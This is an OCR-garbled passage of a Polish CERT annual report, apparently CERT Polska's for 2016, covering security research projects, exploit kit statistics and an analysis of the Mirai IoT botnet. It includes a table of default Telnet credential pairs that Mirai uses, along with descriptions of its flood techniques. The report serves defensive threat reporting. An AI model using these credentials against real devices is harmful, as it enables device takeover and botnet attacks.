(Nippon-European Cyberdefense Oriented
-Multilayer threat Analysis), realizowany wspol-
nie z partnerami z Europy i Japonii. Ogdinym
celem projektu byto opracowanie nowych
technik, ktére pozwolityby na podniesienie
poziomu bezpieczehstwa teleinformatycz-
nego poprzez zwiekszenie odpornosci na zo-
grozenia. W ramach NECOMA CERT Polska
rozwingt platforme né dodajgc mozliwos¢ stru-
mieniowego przekazywania zdarzeh, minimali-
zujgc w ten sposéb opdznienia w komunikacii.
Na otwartej licencji GPL opublikowana zo-
stata biblioteka pozwalajgcg badaczom na
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tatwe udostepnienie danych o zdarzeniach
bezpieczehstwa: né SDK (http://nésdk.read-
thedocs.org/). Opracowana zostata réwniez
metodyka oceny zrédet informacji pod kgtem
ich jakosci oraz zaproponowano techniki wy-
krywania kampanii wykorzystujgcych ztosliwe
oprogramowanie poprzez analize zréznicowa-
nych zbioréw danych.

NECOMA byt finansowany przez Projekt Pro-
mocji Badanh i Rozwoju Ministerstwa Spraw We-
wnetrznych i Komunikacji Japonii oraz grant
numer 608533 w ramach Siddmego Programu
Ramowego Unii Europejskiej.

Wiecej informaciji, w tym publikacje, dostepne
sg na oficjalnej stronie: hitp://www.necoma

-project.eu/

SISSDEN

W maju 2016 rozpoczagt sie projekt SISSDEN, kto-
rego celem jest poprawa stanu cyberbezpie-
czehstwa europejskich instytucji i uzytkowni-
kdw kohcowych poprzez rozwédj Swiadomosci
sytuacyjnej oraz wspdtdzielenie uzytecznych
informaciji o zagrozeniach. Projekt zaktada bli-
skaq wspdtprace z CERT-ami narodowymi, do-
stawcami ustug internetowych, wtasdcicielami
sieci i organami $cigania.

Kluczowym elementem projektu SISSDEN jest
ogdlnoswiatowa sie¢ sond, ktéra zostanie
utworzona i bedzie utrzymywana przez kon-
sorcjum. Ten skalowalny, pasywny mecha-
nizm zbierania danych zostanie wzbogacony
o informacje z analizy behawioralnej ztodliwe-
go oprogramowania oraz liczne zewnetrzne
zrédta danych. Uzyteczne informacje o za-
grozeniach wytworzone przez SISSDEN bedq
wykorzystywane do przeciwdziatania atakom
oraz nieodptatnego powiadamiania ofiar.
Gtéwnym beneficjentem projektu bedg mate
i Srednie przedsiebiorstwa i obywatele, czyli
jednostki nie dysponujgce wiedzqg i zasobami
umozliwiajgcymi samodzielng skuteczng obro-
ne przed zagrozeniami. Dzieki realizacji pro-
jektu zostang zwiekszone mozliwosci przetwao-
rzania, analizy i wymiany informacji z zakresu
bezpieczehstwa, a w konsekwencji poprawi
sie zdolno$¢ do przeciwdziatania i reagowania
na rézne rodzaje atakdw.

W projekcie SISSDEN NASK po raz pierwszy przy-
jat na siebie role koordynatora duzego konsor-
cjum europejskiego. W jego sktad wchodzi
ceniona w $rodowisku organizacja non-profit
Shadowserver, Universitédt des Saarlandes oraz
firmy CyberDefcon, Deutsche Telekom, Poste
Italiane, Montimage i Eclexys.

Projekt SISSDEN otrzymat finansowanie z Pro-
gramu Ramowego Unii Europejskiej Horyzont
2020 (H2020-DS-2015-1) w ramach grantu
nr 700176.

Szczegdtowe informacje o projekcie znajdu-
ja sie na oficjalnej stronie: https://sissden.eu/.
W niedalekiej przysztosci pojawi sie fam row-
niez mozliwo$¢ zgtaszania sie w celu uzyska-
nia dostepu do bezptatnych informacji o
zagrozeniach monitorowanych w ramach
SISSDEN.

né

né to stworzona przez CERT Polska platfor-
ma stuzqgca do gromadzenia, przetwarzania
i przekazywania informacji o zdarzeniach
bezpieczenstwa w sieci w sposéb automao-
tyczny. Jej celem jest efektywne, niezawodne
i szybkie dostarczenie duzych ilosci informaciji
o zagrozeniach witasciwym podmiotom: wta-
Scicielom, administratorom i operatorom sieci.
Irédtem danych systemu né jest wiele kanatéw
dystrybucyjnych dostarczajgcych informacje
o zdarzeniach bezpieczenstwa. Zdarzenia te
wykrywane sq w wyniku dziatah systeméw
wykorzystywanych przez rézne podmioty ze-
wnetrzne (inne CERT-y, organizacje bezpie-
czehstwa, producentédw oprogramowania,
niezaleznych ekspertéw od bezpieczenstwa
itp.), automatycznych systemdw monitorowa-
nia CERT Polska oraz w wyniku dziatah opero-
cyjnych zespotu.

Przyktady danych udostepnianych przy pomo-
cy platformy to: ztodliwe adresy URL, ztosliwe
oprogramowanie, zainfekowane komputery
(boty), serwery C&C, skanowania, ataki DDoS,
phishing i zZrédta spamu.

W 2016 roku CERT Polska przetworzyt auto-
matycznie przy pomocy né 200 min zgtoszen
dotyczgcych komputerdw z Polski co stano-
wi podobnqg liczbe jok w poprzednim roku.
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tqgcznie zostato przetworzonych 500 min zdo-
rzehdotyczqcychbezpieczehstwasieciowego.
Doktadne statystyki, m.in. z podziatem na ro-
dzaje zagrozen i systemy autonomiczne, znaj-
dujqg sie w ostatnim rozdziale raportu.

Pierwsza wersja né powstata w 2011 roku i sys-
fem jest od tego czasu wcigz rozwijany. Dostep
do né jest bezptatny. Wiecej informaciji znajdu-
je sie na stronie projektu: hitp://né.cert.pl/.

CyberROAD

W 2016 zakonczyt sie trwa-
jacy dwa lata projekt
CyberROAD, w ktérym brat
udziat CERT Polska. Celem
projektu byto opracowa-
nie listy zagadnien w zakre-
sie  cyberbezpieczenstwa,
ktére wymagajqg dalszych badah naukowych
oraz wypracowanie planu w tym zakresie.

Zespdt CERT Polska zajmowat sie tematykq
sprawstwa w aspekcie pochodzenia atakéw
oraz przypisywania ich do dziatan konkretnych
0séb i organizacii. Efektem tych prac byt arty-
kut ,The Never-Ending Game of Cyberattack
Attribution: Exploring the Threats, Defenses
and Research Gaps” napisany przez zespdt
w sktadzie: Piofr Kijewski, Przemystaw Jaroszew-
ski, Janusz A. Urbanowicz z CERT Polska oraz
Jart Armin z firmy CyberDefcon. Materiat zostat
opublikowany w ksigzce ,,Combatting Cyber-
crime and Cyberterrorism” wydanej przez wy-
dawnictwo Springer w ubiegtym roku (http://
www.springer.com/gp/book/9783319389295).

W  artykule omodwione zostato zagadnie-
nie atfrybucji w literaturze specjalistycznej
oraz zwalczania przestepczosdci internetowej
w praktyce. Przeprowadzono takze analize
SWOT z punktu widzenia cyberprzestepcy oraz
cyberterrorysty i przeanalizowano mozliwe
metody przeprowadzania atrybuciji z punktu
widzenia organdw $cigania.

Kluczowym wnioskiem artykutu byto rozréznie-
nie pomiedzy atrybucjg cyberprzestepczosci
i cyberterroryzmu. W wypadku cyberprzestep-
czodci, atrybucja jest po fakcie spotecznie
akceptowalna. Tak jok w przypadku innych
przestepstw — po popetnieniu przestepstwa

organy $cigania identyfikujg sprawce i do-
prowadzajg do jego aresztowania, a nastep-
nie procesu sqdowego. Z kolei przy akcie cy-
berterrorystycznym, spoteczenstwo oczekuje
przede wszystkim niedopuszczenia do ataku,
czyli atrybucja musi dotyczyé potencjalnych
sprawcdw, zanim przygotujq i przeprowadzq
swoj plan.

Prowadszi to w przypadku cyberterroryzmu do
rozszerzenia problemu atrybucji ataku inter-
netowego do catosci problemu radykalizacji
i bezpieczenstwa narodowego. Jednocze-
$nie autorzy artykutu wskazali na stosunkowq
tatwos¢ okredlania atrybucji cyberterroryzmu
w przeciwienstwie do cyberprzestepczosci:
cyberterrorysta chce by¢ rozpoznawany, po-
niewaz stanowi to cze$¢ jego przekazu. Dzieki
temu istnieje wieksza szansa na identyfikacje
sprawcow takiego aktu, gdyz przez swoje dzia-
tania budujg oni medialny przekaz, ktéry moze
by¢ analizowany w celu ich identyfikaciji.
Z kolei celem cyberprzestepcy jest zazwyczaj
korzys$¢ finansowa oraz zachowanie catkowitej
anonimowosci.

Waznym aspektem problemu atrybuciji jest jej
znaczenie polityczne. Atfaki infernetowe sta-
ty sie obecnie czesciq konfliktu politycznego,
a cyberprzestrzeh zostata uznana przez NATO
za pigtg domene dziatah wojennych. Przypisa-
nie pochodzenia ataku internetowego moze
mie¢ wiec znaczenie przy wypowiedzeniu
wojny lub wezwaniu cztonkédw NATO do ko-
lektywnej odpowiedzi w mysl Artykutu 5 Pak-
tu Pétnocnoatlantyckiego. Problem atrybucii
staje sie niezwykle istotny w kontekécie moz-
liwosci prowadzenia atakdw internetowych
anonimowo albo z pozostawianiem poszlak
wskazujgcych na innych sprawcdw (prowo-
kacji). Jednocze$nie metody prowadzgce
do afrybuciji, takie jak ciggty monitoring inter-
netu pod kgtem podejrzanych dziatah oraz
retencja metadanych telekomunikacyjnych
i ich udostepnianie organom $cigania, sq od-
bierane przez spoteczenstwa jako ingerencja
w prywatno$¢ obywateli. Powoduje to, ze bu-
dowanie infrastruktury potrzebnej do atrybuciji
budzi opér spoteczny i wytwarza pewnego ro-
dzaju poczucie zagrozenia. Jednoczesdnie bra-
kuje technicznych i prawnych ram wspdtpro-
cy miedzynarodowej, ktére mogqg usprawni¢
atrybucje aktéw na skale ponadnarodowq.
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Projekt CyberROAD zostat sfinansowany przez
Unie Europejskg w ramach Sidbdmego Pro-
gramu Ramowego (FP7-SEC-2013), umowa
o grant numer 607642. Po wiecej informacji
zapraszamy na strone hitp://www.cyberroad

-project.eu/

Exploit kity

Obecnie jednym z najbardziej podstepnych
i niezauwazalnych zagrozen dla uzytkownikdw
komputerdw osobistych sq te wynikajgce z in-
fekcji rozpoczynajgcych sie w przeglgdarce
internetowe;. Infekcja i wykonywanie ztosliwe-
go kodu odbywa sie niemal niezauwazalnie,
wystarczy mie¢ nieaktualng przeglgdarke lub
jeden z dodatkédw typu Flash Player do niej,
Java lub Silverlight, nastepnie wej$¢ na strone,
ktéra zostata zaatakowana i dodano do niej
kilka dodatkowych linii kodu. W efekcie kom-
puter moze stac sie czesciqg aktywnego bot-
netu, mie¢ zaszyfrowany dysk przez oprogra-
mowanie typu ransomware lub tez otrzymacd
ztodliwego trojana bankowego, ktéry przejmie
kontrole nad naszymi oszczednosciami.

Zagrozenie fo nosi nazwe ,exploit kit” lub tez
wexploit pack”. Jest zestawem narzedzi ztozo-
nym ze skryptdw atakujgcych rézne podat-
nosci tak, aby dopasowac je do systemu, na

jakim zostat uruchomiony. Celem jest zmaksy-
malizowanie ryzyka infekcji i tym samym insta-
lacja wtasnych ztodliwych plikéw wykonywal-
nych.

Pierwsze tego typu narzedzia zaczety poja-
wia¢ sie na rynku okoto 2006 roku na jednej
z rosyjskich gietd internetowych. Pierwotnie
exploit kit kosztowat 20 dolaréw, a w cenie
oferowane byto takze wsparcie fechniczne.
Drugim tego typu narzedziem w historii byt
Mpack (2006), stworzony przez trzech Rosjan,
ktérego cena zaczynata sie juz od tysigca do-
laréw. Wedtug dostepnych informaciji liczba
zainfekowanych stron siegata trzech tysiecy.
W nastepnym roku powstato znacznie wiecej
exploit kitéw, ale zaden z nich nie byt tak groz-
ny jok Mpack. Sytuacja ulegta zmianie dopiero
w 2010 roku, gdy pojawit sie Blackhole Exploit
Kit. Do 2013 roku, kiedy aresztowano jednego
z gtdwnych twdrcodw, byto to jedno z najgroz-
niejszych i najbardziej rozpowszechnionych
zagrozen w sieci internet. Nastepcq Blackhole
byt exploit kit nazwany Angler. Nastepnie jego
role okoto czerwca 2016 przejat Neutrino, ktéry
z czasem stat sie na czarnym rynku produktem
przyjetym przez praktycznie wszystkich klien-
tow Anglera. We wrzeéniu popularnos¢ zyskat
z kolei Rig-EK, ktéry stanowit najwieksze zagro-
zenie az do konca roku 2016.

Rig-v 543
Przekierowanie na nieokreslony EK 47
Rig standard 38
SutraTDS - przekierowanie do systemu dystrybucyjnego EK 15
IésitoroTDS - przekierowanie do systemu dystrybucyjnego 9
Sundown EK 1
Rig-e 1

ElTest (kampania malvertisingowa, nieokreslony EK) 1

Tabela 3. Podsumowanie wynikéw analizy adreséw URL powigzanych z exploit kitami
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Cerber ransomware 44
Virut / Ramnit frojan bankowy 2
Crypftfile2 ransomware 2
Chthonic frojan bankowy 1

Tabela 4. Podsumowanie analizy plikdw wykonywalnych powigzanych z exploit kitami

W roku 2016 w CERT Polska stworzono pro-
totyp systemu mogagcego w automatyczny
sposdb zbiera¢ informacje o zagrozeniach
typu exploit kit. W tym celu wykorzystywane
sq istniejgce rozwigzania oparte na honeypo-
tach klienckich, sandboxach oraz technikach
heurystycznych i analizie behawioralnej. Po-
zwala to na dokonanie klasyfikacji exploit kitu
pod wzgledem rodzaju oraz rodziny ztosliwych
plikéw binarnych pobieranych i wykonywa-
nych na infekowanych urzgdzeniach.

W frakcie frwania projektu przeanalizowano
ponad 8 000 adresdw internetowych zgtoszo-
nych jako potencjalnie zwigzane ze ztosliwym

oprogramowaniem. Ponad 600 z nich zawiero-
to przekierowania do serwerdw posredniczg-
cych charakterystycznych dla exploit kitow.
Znakomita wiekszo$¢ z tych przekierowan, na
podstawie schematu zapytan oraz ich typu,
zostata rozpoznana jako exploit kit Rig w wersji
VIP, oznaczanym w skrécie Rig-v. W wiekszosci
przypadkdw ten exploit kit pobierat plik wyko-
nywalny z rodziny ransomware Cerber. W jed-
nym przypadku zdarzyto sie, ze poprzez infekcje
Rig-v pobrany zostat inny ransomware - Crypt-
File2. Jedynie w trzech przypadkach doszto do
infekcji frojanem bankowym i byty to przypadki
infekcji innymi, mniej aktywnymi exploit kitami -
Sundown lub Rig-e (Empire Pack).
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Stan internetu w 2016 roku
na podstawie informaciji
zgromadzonych przez

Zagrozenia i incydenty globalne
Mirai

Od kilku lat eksperci ds. bezpieczehstwa ostrze-
gali przed zagrozeniem ptyngcym ze strony
urzqdzen okrelanych zbiorczym pojeciem
Internet of Things (loT). Do tej klasy mogqg no-
leze¢ zaréwno kamery internetowe, zardwki,
jak i dzieciece zabawki, a ich cechqg wspdlng
jest mozliwo$¢ podtqczenia do internetu. Nie-
stety czesto urzgdzenia te nie sq dostatecznie
zabezpieczone, przez co mogq stac sie narze-
dziem w rekach przestepcé4w. Mimo, ze urzg-
dzenia loT byty wykorzystywane do atakdéw
juz wczedniej, to dopiero dziatania bota Mirai
w 2016 roku dotknety zwyktych uzytkownikdw
na tyle, by temu problemowi po$wiecono
uwage w mediach.

Wykorzystujgc stabe zabezpieczenia (lub
brak zabezpieczen) tysiecy kamer interneto-
wych, urzgdzen DVR (Digital Video Recorder)
lub zwyktych routerdw, botnety oparte o Mi-
rai dokonywaty atakdé4w DDoS (Distributed
Denial of Service), przez ktére niedostepne
byty takie serwisy jak Reddit, Spotify czy New
York Times, bijac przy tym rekordy poziomdw
generowanego ruchu. Ponize] przedstawio-
my najwazniejsze informacje o tym ztodliwym
oprogramowaniu — jako przyktad, ktéry opisuje
ogdlny stan niskiego poziomu bezpieczenstwa
urzgdzen loT, coraz czesciej wykorzystywanych
przez przestepcodw.

Dziatanie Mirai
Mirai bazuje na kodzie zZrédtowym bota Bashli-

te/Gafgyt/QBot, ktéry juz wczedniej byt znany
z atakdw na urzgdzenia loT2 Celem Mirai sg

CERT Polska

gtébwnie domowe nagrywarki wideo (DVR),
kamery internetowe oraz inne urzgdzenia uzy-
wajgce systemu operacyjnego Linux i zestawu
narzedzi systemowych BusyBox. Atakowane
sq cele na catym Swiecie, z wytgczeniem kilku
sieci, m.in. rzgdu USA. Ztodliwe oprogramowa-
nie przejmuje kontrole nad urzgdzeniami, pro-
bujgc zalogowa¢ sie za pomocq ustugi Telnet.
Wykorzystuje przy tym zdefiniowany zestaw
loginéw i haset. Kod Zrédtowy bota (ztodliwe-
go programu odpowiadajgcego za wykony-
wanie poleceh przestepcdw) jest napisany
w jezyku C, a kod serwera C&C (serwera wy-
sytajgcego komendy do botéw) w jezyku Go.

Mirai po przejeciu kontroli nad urzgdzeniem
wykonuje kilka operacji odpowiedzialnych za
pozbycie sie z urzqdzenia innego ztolliwego
oprogramowania i za zabezpieczenie bota
przed ponowngq infekcjg. W tym celu wytgcza
miedzy innymi procesy korzystajgce z ustug
Telnet, SSH, HTTP, a takze poszukuje Sladédw
innego ztodliwego oprogramowania w pamie-
ci urzqdzenia. Szczegdlnie dotyczy to Sladéw
kodu bota Anime, ktéry zostaje dezaktywo-
wany?. Takie mechanizmy obronne bota wy-
nikajg przede wszystkim z checi uchronienia
urzgdzenia przed ponownym przejeciem przez
konkurencyjne grupy przestepcze. W inferesie
operatora danego botnetu lezy utrzymanie
jak najwiekszej liczby aktywnych botdw, goto-
wych do wykonywania zleconych zadanh.

Mirai nie posiada zadnych mechanizmow zo-
pisujgcych na state jego kod na urzgdzeniu,

2 http://blog.malwaremustdie.org/2016/08/mmd-0056-201 é-li-
nuxmirai-just.html

3 https://www.incapsula.com/blog/malware-analysis-mirai-d-
dos-botnet.html
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ktére umotzliwiatyby mu start po ponownym
uruchomieniu fakiego urzqgdzenia (mechani-
zmy te nazywane sq rowniez mechanizmami
perzystencji — od angielskiego stowa persisten-
ce). Oznacza to, ze wytqczenie np. kamery
infernetowej usuwa go z jej pamieci. Niestety,
bez wprowadzenia zmian w ustawieniach po
jakim$ czasie urzgdzenie znowu zostanie prze-
jete*.

Mirai skanuje intfernet w poszukiwaniu nowych
urzgdzen, na ktére stara sie zalogowac przy
uzyciu zestawu domyslnych lub tatwych do
odgadniecia logindw i haset. Przyktad kilkunao-
stu par zkodu zrodtowego znajduje sie w tabeli
ponizej.

root xc3511
root vizxv
root admin
admin admin
root 888888
root xmhdipc
root default
root juantech
root 123456
root 54321
support support
root (brak)
admin password
root root
root 12345

Tabela 5. Przyktadowe hasta uzywane przez
Mirai do atakéw

4 https://www.symantec.com/connect/blogs/mirai-what-
you-need-know-about-botnet-behind-recent-major-ddos-
attacks

Pierwotnie skanowany byt port TCP 23 (Telnet),
adle z czasem zaczeto skanowaé porty takie
jak: 2323°%, 23231 czy 6789¢. Najprawdopodob-
niej ma to zwigzek z upublicznieniem kodu 7ro-
dtowego bota: przestepcy zaczeli go modyfi-
kowac w celu zwiekszenia zasiegu skanowan,
chcgc tym samym powigkszy¢ swoje botnety.

Ataki DDoS wykonywane przez Mirai charakte-
ryzujq sie tym, ze nie sq odbijane lub wzmac-
niane, tak jak ma to miejsce w standardowych
atakach tego typu. Cele atakowane sq bez-
posrednio przez zastosowanie kilku powszech-
nie uzywanych technik: zgdan w warstwie
siddmej przy uzyciu protokotu HTTP oraz duzej
liczby pakietdéw protokotéw UDP lub TCP z flo-
ga: ACK albo SYN z opcjami. Wyrdznia sie tu
natomiast uzycie innych technik, z ktérych nie
wszystkie sq popularne’, tzn.:

DNS water torture
GRE IP flood

GRE Ethernet flood
TCP STOMP

Atak DNS water torture polega na wysytaniu
zapytah DNS o domeny nalezqgce do strefy
domenowej atakowanej strony. Bot generuje
nazwy i dotgcza je jaoko poddomeny najwyz-
szego poziomu, tzn. <dowolny cigg znakdw>.
example.com. Duza liczba takich zgdah moze
ostatecznie spowodowad, ze serwery DNS od-
powiedzialne za atakowang domene przesta-
ja odpowiada¢ na prawidtowe zapytania.

Protokét GRE stuzy do tworzenia wirtualnych
tqczy typu punkt-punkt i pozwala na enkap-
sulacje roznych protokotdéw warstwy sieciowej.
Moze by¢ uzywany m.in. w dwdch trybach:
enkapsulacji ramek ethernetowych lub en-
kapsulacji pakietéw IP. Wiekszo$¢ routerdw
przepuszcza pakiety fego typu ze wzgledu
na ich uzycie w wielu rozwigzaniach tuneli
VPN. Dodatkowo protokdt ten jest uzywany
przez systemy obrony przed atakami DDoS.

5 https://isc.sans.edu/forums/diary/What+isthappen-
ing+on+2323TCP/21563

6 https://isc.sans.edu/forums/diary/UPDATED+x1+Mirai+S-
canning+for+Port+6789+Looking+for+New+Victims+Now-+hit-
ting+tcp23231/21833

7 https://f5.com/labs/articles/threat-inteligence/ddos/
mirai-the-iot-bot-that-took-down-krebs-and-launched-a-tbps-
attack-on-ovh-22422
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Prawdopodobnie dlatego dotgczono ten
mechanizm do arsenatu Mirai: pakiety mogq
dzieki temu lepiej penetrowac bronione sieci.

Uzycie protokotu STOMP moze w pierwszym
momencie by¢ zaskoczeniem, poniewaz jest
on uzywany do komunikaciji z wyspecjalizowa-
nymi systemami zwanymi brokerami wiado-
mosci. Systemy te stuzg do wymiany danych
miedzy aplikacjami i zwykle nie sq widoczne
publicznie. Mirai wysytajgc wiadomosci tego
protokotu prawdopodobnie ma na celu omi-
niecie systemdéw wykrywania atakéw DDoS
w warstwie sieciowej, by dzieki temu zala¢
wiadomosciami sie¢ za nimié. Oczywiscie, jezeli
atak zostanie skierowany na broker wiadomo-
$ci, moze to dodatkowo spowodowac zuzycie
zasobow serwerowych.

Kod Zrédtowy Mirai zostat upubliczniony pod
koniec wrzesnia 2016 roku’. Od tego mo-
mentu powstato wiele odrebnych botnetdw
Mirai, zarzqdzanych przez rézne osoby. Upu-
blicznienie spowodowato takze, ze sam kod
zaczat by¢ zmieniany, czego przyktadem jest
wspomniane wczesniej rozszerzenie listy ska-
nowanych portéw. Inne zmiany byty rownie
znaczqce, np. wykorzystywanie podatnosci
protokotdéw TR-069 i TR-064, a takze wprowao-
dzenie mechanizméw DGA w komunikacji
z serwerem C&C'° (por. str. 29). Trudno do kon-
ca potwierdzi¢, dlaczego tak sie stato, niemniej
wydaje sie, ze celem autoréw byto utrudnie-
nie powigzania ich z kodem w przypadku np.
§ledztwa. Po upublicznieniu kodu zrédtowego
Brian Krebs przeprowadzit wtasne $Sledztwo
w sprawie ustalenia autorstwa Mirqi''. We-
dtug niego za botnet odpowiedzialni sg dwaj
mtodzi Amerykanie, ktérzy stworzyli Mirai na
potrzeby swojej firmy, zajmujgcej sie ochrong
serwerdw gry Minecraft przed atakami DDoS.
Prawdopodobnie gtdwng przyczyng powsto-
nia botnetu byta walka o rynek miedzy firma-
mi $wiadczgcymi ustugi ochrony. MoZliwe, ze
wedtug zamystu autordw, skuteczne ataki na

8 https://www.incapsula.com/blog/mirai-stomp-protocol-
ddos.html

9 https://krebsonsecurity.com/2016/10/source-code-for-iot-
botnet-mirai-released/

10 http://blog.netlab.360.com/new-mirai-variant-with-dga/
11 https://krebsonsecurity.com/2017/01/who-is-anna-senpai-
the-mirai-worm-author//

serwery chronione przez konkurencje miaty
sktonic¢ klientéw do wybrania wtasnie ich firmy.
W chwili pisania raportu trudno jednoznacznie
potwierdzi¢ prawdziwo$¢ tych pogtosek, choc¢
Z pewnosciq sg one dos¢ przekonujqgce.

Najwieksze ataki Mirai

Ponizej przedstawiamy kilka dosy¢ gtodnych
atakdéw botnetdw wykorzystujgcych Mirai. Wo-
lumeny ruchu wygenerowanego we wszyst-
kich tych atakach sg bardzo duze i z pewno-
scig czesS¢ z nich jest rekordowa, jak chocby
w przypadku Dyn oraz OVH.

17 sierpnia 2016 roku Mirai zaatakowat firme
Incapsula, sprzedajgcg m.in. ustugi ochrony
przed atakami typu DDoS™. Wedtug informaciji
opublikowanych przez Incapsule po tym wy-
darzeniu, zaatakowato ich ponad 49 tysiecy
urzqdzen loT: gtdwnie kamer internetowych,
ale takze urzgdzeh DVR i routeréw. Atak osig-
gnat poziom 280 Gbps i byt spowodowany
przez wystanie duzej liczby pakietdw protokotu
GRE (GRE flooding).

Atak na strone Briana Krebsa, dziennikarza
Sledczego zajmujgcego sie tematykg bezpie-
czehstwa informacji, rozpoczat sie 20 sierpnia
2016 roku™. W szczytowym momencie osiggat
poziom 620 Gbps, co stanowito dwukrotno$¢
poprzedniego rekordowego ataku na firme
hostujgcq jego strone: Akamai. Sledztwo po-
twierdzito, ze gtdwny atakujgcy botnet oparty
byt o Mirai. Wykorzystane do tego celu zostaty
przede wszystkim kamery intfernetowe i systemy
DVR typu SOHO (Small Office/Home Office).
Akamai potwierdzito, ze urzgdzenia miaty ta-
twe do odgadniecia Ilub standardowe loginy
i hasta'. Zwrdécono réwniez uwage, ze atak po-
chodzit bezposrednio z urzgdzeh i nie byt od-
bijany (reflected) lub wzmacniany (amplified).

W drugiej potowie wrzesnia 2016 roku Mirai
zaatakowat firme hostingowg OVH. Wedtug

12 https://www.incapsula.com/blog/malware-analy-
sis-mirai-ddos-botnet.html

13 https://blogs.akamai.com/2016/10/620-gbps-attack-post-
mortem.html

14 Tamze
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informacji tej firmy, atak przeprowadzito po-
nad 145 tysiecy urzqgdzen, co skutkowato wo-
lumenem ruchu na poziomie 1 Tbps's. Jest to
jeden z najwiekszych atakéw DDoS, ale - we-
dtug OVH - na szczescie nie byt skuteczny.

Dyn, przedsiebiorstwo sprzedajgce ustugi
zwigzane z infrastrukturg DNS, m.in. dynamicz-
ny DNS, zostato zaatakowane przez Mirai 21
pazdziernika 2016 roku'. Wielu uzytkownikéw
infernetu dotkliwie odczuto ten atak, ponie-
waz z ustug tej firmy korzystato wtedy wiele

ten kragj infernetu, ale doniesienia te zostaty
w wiekszosci zdementowane'®,

Po opublikowaniu kodu Zrédtowego powsta-
ty kolejne wersje botnetu rozszerzane o nowe
techniki. Jeden z atakdw z wykorzystaniem
nowych funkcji nastgpit pod koniec listopada
2016 roku. Klienci kilku operatoréw w Europie
mieli z tego powodu problemy z potgczeniem
sie do sieci, np. w sieci Deutsche Telekom byto
to okoto 900 tysiecy modemdw DSL. Atak ten
przypisywany jest wtasnie zmodyfikowanej

10000 -

5000 -

liczba zainfekowanych urzgdzen

lis 01 lis 15

gru 01 gru 15 sty 01

Rys.1. Wykres zmiennosci dziennej liczby botéw Mirai w Polsce

popularnych serwisdw internetowych, jak np.
Spotfify, Reddit, New York Times czy Wired'.
Dyn przyznato, ze gtdwnym zrédtem ataku byt
Mirai, wysytajacy dane przez protokoty TCP
oraz UDP (obydwa na porcie 53). Szacowana
liczba botéw biorgcych udziat w tym ataku
to okoto 100 tysiecy, a ich lokalizacja geogro-
ficzna byta dosy¢ rozproszona. Wedtug niepo-
twierdzonych danych, atak mogt osiagnaé
poziom 1,2 Tbps.

Mirai przypisywano takze atak na infrastruktu-
re sieciowq Liberii. Miat on rzekomo pozbawi¢

15 https://www.ovh.com/us/news/articles/a2367.the-ddos-
that-didnt-break-the-camels-vac

16 http://dyn.com/blog/dyn-analysis-summary-of-friday-oc-
tober-21-attack/

17 https://www.wired.com/2016/10/internet-outage-ddos-
dns-dyn/

wersji Mirai. Wiecej mozna o nim przeczytac
w dalszej czesci raportu. (por. str. 29)

Mirai w Polsce

Niestety Mirai dziata takze w Polsce. Dzieki da-
nym zebranym w systemie né mozemy przed-
stawi¢ podstawowe informacije i statystyki od-
nosnie liczby jego botdow.

Jako liczbe botdw przyjelismy liczbe unikalnych
adreséw IP na dobe. Na rysunku 1. przedstawi-
lismy jej zmienno$¢ w okresie od 29 pazdziemni-
ka 2016 roku, kiedy to zaczelismy otrzymywac
raporty odnosnie infekcji, az do 31 grudnia
tfego roku.

18 https://krebsonsecurity.com/2016/11/did-the-mirai-botnet-
really-take-liberia-offline/
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Na wykresie widoczny jest ostry spadek
w dniach 8-13 listopada, poniewaz niestety
w tym okresie nie otrzymywalismy poprawnych
danych. Najwiecej zaraportowano nam 14054

przejetych urzqdzen - jest to warto§¢ maksy-
malna dziennej liczby botéw. Srednia dzienna
liczba w obserwowanym okresie to 7283 urzg-
dzenia.

1 5617 Orange

2 12741 Netia

3 8374 Plus / Cyf. Polsat
4 21021 Multimedia

5 12912 T-Mobile

6 29314 Vectra

7 43939 Internetia

8 20960 TK Telekom

9 16342 Toya

10 35191 ASTA-NET

4141 9252 0,08
934 1852 0,06
218 336 0,02
211 347 0,04
164 503 0,02
110 169 0,02
71 108 0,03
64 119 0,03
48 76 0.03
46 75 0,08

Tabela 6. Ranking systemdw autonomicznych pod wzgledem liczby botéw

Ranking systeméw autonomicznych pod
wzgledem $redniej liczby botéw zostat przed-
stawiony w tabeli 5. Dla prezentowanych ope-
ratorow zmiany liczby botdéw w czasie sq takie
same, co moze sugerowad, ze urzqdzenia
w ich sieciach atakowane sg w jednym mo-
mencie. Obecnos¢ tych konkretnych syste-
moéw autonomicznych wynika z faktu, ze no-
lezg one do najwiekszych operatoréw pod
wzgledem liczby zarzgdzanych adreséw IP.

Wedtug informacji publikowanych przez pro-
jekt CyberGreen na temat poziomu ryzyka
infekcji botem Mirai i liczby przejetych urzg-
dzen", Polska zajmuje 14. miejsce na $wiecie
sposréd 238 badanych (dane na 16 stycznia
2017). Na pierwszym miejscu znajdujq sie Chi-
ny, Rosja na é., Stany Zjednoczone na 13.,
az panstw europejskich: Wtochy na 10., Rumu-

19 http://stats.cybergreen.net/country

Rys. 2. Strona logowania do serwera plikowego
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Rys. 3. Strona logowania do kamery internetowej

Rys. 4. Strona logowania do kamery internetowej

Rys. 5. Strona logowania do urzgdzenia DVR
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nia i Ukraina odpowiednio na 18.i 19. Wiecej
informacji dostepnych jest na stronie projektu:
http://stats.cybergreen.net/.

Inaczgca grupa ze zgtoszonych do CERT
Polska urzadzeh nalezy do kiku mode-
li kamer internetowych (rys. 3. i 4.) lub sys-
temdw DVR (rys. 5.). Niemniej wérdéd zain-
fekowanych urzqdzeh znojdujq sie takze
np. serwery plikowe NAS (rys. 2.). Prezentowa-
ne zrzuty ekrandw pochodzq z rzeczywistych
urzgdzen, zgtoszonych jako boty Mirai.

Podsumowanie

Ataki uzywajgce urzgdzen loT jako narzedz,

czy to przez Mirai, czy inne botnety, bedq

w przysztosci kontynuowane. Wydaje sie, ze

zagrozenia tego typu bedq coraz czestsze z

kilku powoddw:

e staba joko$¢ zabezpieczeh dostepu do
urzgdzen, np. tatwe do odgadniecia do-
myslne hasta,

e domyslne uruchamianie wielu ustug doste-
pu do urzgdzen, w tym interfejséw admini-
stracyjnych, np. Telnet lub SSH, ktére sq
w rzeczywisto$ci zbedne,

e nieograniczona mozliwos¢ interakcji z urzg-
dzeniami, w tym dla kazdego ze strony
Internetu,

e brak dedykowanych, tatwych w uzyciu za-
bezpieczen, jak np. frewalle, co zwigzane
jest ze specyfikg Srodowiska uzycia tych
urzgdzen (sieci domowe),

e czesto niska jakod¢ lub szybkie zakonhczenie
wsparcia przez producentéw takich urzg-
dzen,

e niska Swiadomod¢ zagrozeh wiascicieli/
uzytkownikdw.

Wykorzystywanie urzqdzen siecio-
